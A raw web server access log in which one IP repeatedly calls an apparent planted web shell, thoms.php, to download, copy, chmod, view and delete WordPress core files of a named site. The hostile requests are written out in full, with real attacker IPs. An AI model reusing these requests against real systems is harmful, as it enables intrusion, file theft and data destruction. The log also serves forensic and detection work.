45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?dl=class-wp-role.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-role.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcron.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcron.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?dl=class-wp-site.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?chmod=class-feed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?del=formatting.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=formatting.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?dl=ms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=ms-default-constants.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:24 -0400] "GET /thoms.php?del=fonts&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=fonts&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-classic-to-block-menu-converter.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-rewrite.php HTTP/1.1" 200 30266 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-rewrite.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /bestzyx.com.tw/wp-includes/blocks/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /bestzyx.com.tw/wp-includes/build/ HTTP/1.1" 200 1290 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=plugin.php HTTP/1.1" 200 21186 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=plugin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?chmod=images&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=images&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59347 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59344 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?dl=global-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=global-styles-and-settings.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:25 -0400] "GET /thoms.php?dl=wp-diff.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59235 "http://163.245.207.76:443/thoms.php?dl=wp-diff.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:26 -0400] "GET /thoms.php?dl=block-patterns.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:26 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 200 14950 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:26 -0400] "GET /thoms.php?dl=bookmark.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=bookmark.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:26 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /bestzyx.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?chmod=deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?del=class-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=class-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fbookmark-template.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 200 20037 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /bestzyx.com.tw/wp-includes/block-bindings/ HTTP/1.1" 200 949 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?chmod=https-detection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-files.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fms-files.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:27 -0400] "GET /thoms.php?chmod=view-transitions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=view-transitions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-oembed.php HTTP/1.1" 200 12147 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-oembed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-site.php HTTP/1.1" 200 14278 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?chmod=sitemaps.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 200 12235 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?del=theme.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=theme.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?dl=class-wp-error.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59283 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-http-ixr-client.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?chmod=class-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-token-map.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:28 -0400] "GET /thoms.php?del=class-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-object-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 200 18292 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?chmod=blocks.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-object-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /bestzyx.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?del=build&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=build&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed-rss2-comments.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frss-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Frss-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?chmod=class-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-parser-frame.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 200 12415 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:29 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11879 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?chmod=load.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=load.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11885 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?del=pluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59343 "http://163.245.207.76:443/thoms.php?del=pluggable-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?dl=class-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59320 "http://163.245.207.76:443/thoms.php?dl=class-wp-admin-bar.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 200 30458 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /bestzyx.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?dl=class-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-request.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-list.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fbuild&p= HTTP/1.1" 200 12289 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fbuild&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:30 -0400] "GET /thoms.php?dl=view-transitions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php HTTP/1.1" 200 13342 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-classic-to-block-menu-converter.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:19:31 -0400] "GET /thoms.php?chmod=class-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-textdomain-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
